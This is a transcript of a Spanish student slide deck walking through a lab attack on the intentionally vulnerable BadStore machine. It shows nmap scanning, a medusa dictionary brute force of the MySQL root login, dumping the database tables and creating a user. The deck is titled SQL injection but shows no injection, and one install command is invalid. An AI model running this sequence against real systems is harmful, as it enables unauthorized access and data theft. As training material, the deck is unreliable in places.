Inyección de código SQL.pptx

13
Delfina Soledad Rojas Losada * Inyección de código SQL

Transcript of Inyección de código SQL.pptx

Page 1: Inyección de código SQL.pptx

Delfina Soledad Rojas Losada

*Inyección de código SQL

Page 2: Inyección de código SQL.pptx

*Inyección de código SQL

*La inyección de SQL es una técnica de inyección de código que explota una vulnerabilidad de seguridad dentro de la capa de base de datos de una aplicación. Esta vulnerabilidad puede encontrarse cuando la entrada del usuario se filtra de forma incorrecta debido a caracteres de escape embebidos en sentencias SQL.

Page 3: Inyección de código SQL.pptx

*Desarrollo del ataque Inyección

SQL 

*Se inician las maquinas virtuales (Kali Linux y Badstore) y se consulta la ip de la maquina vulnerable.

Page 4: Inyección de código SQL.pptx

*Instalación e incializacion de

Nmap

*Instalar nmap: sudo apt-get install nmap

*En nuestro caso estamos utilizando kali Linux, entonces nmap ya viene instalado por defecto, únicamente se restaura con el comando

*sudo apt-get restart nmap

*se inicia el escaneo a la maquina vulnerable, en este caso badstore: nmap 192.168.1.14

Page 5: Inyección de código SQL.pptx

*Se inicia escaneo intensivo

* nmap –T4 -A –v 192.168.1.14

*Version de Mysql: 1.7. estándar

*Version de apache: HTTPD 1.3.28

Page 6: Inyección de código SQL.pptx

Se procede al ataque

*Con el comando: medusa -h 192.168.1.14 -u root -P ./tools/diccionarios/phpbb.txt -e ns -M mysql

Page 7: Inyección de código SQL.pptx

*Conexión a la base de datos

*badstore: badstoredb: mysql –u root –h 192.168.1.14

Page 8: Inyección de código SQL.pptx

*Mostrar base de datos existentes

*Show databases;

Page 9: Inyección de código SQL.pptx

*Visualización de tablas existentes

*Show tables;

Page 10: Inyección de código SQL.pptx

*Visualizar la información de las tablas encontradas

*Select* from userdb;

*select* from orderdb;

*select* from itembd;

*select* from acctbd;

Page 11: Inyección de código SQL.pptx

*Nuevo usuario

*Las contraseñas están encriptadas, no podemos acceder a la información, por ello se crea un nuevo usuario.

Page 12: Inyección de código SQL.pptx

*Consulta de nuevo usuario.

*Select* from userdb;

Page 13: Inyección de código SQL.pptx

*Referencias

*PORTAL HACKER:

* http://www.portalhacker.net/b37/propuesta-atacar-badstore-entre-todos-documentarlo/127736/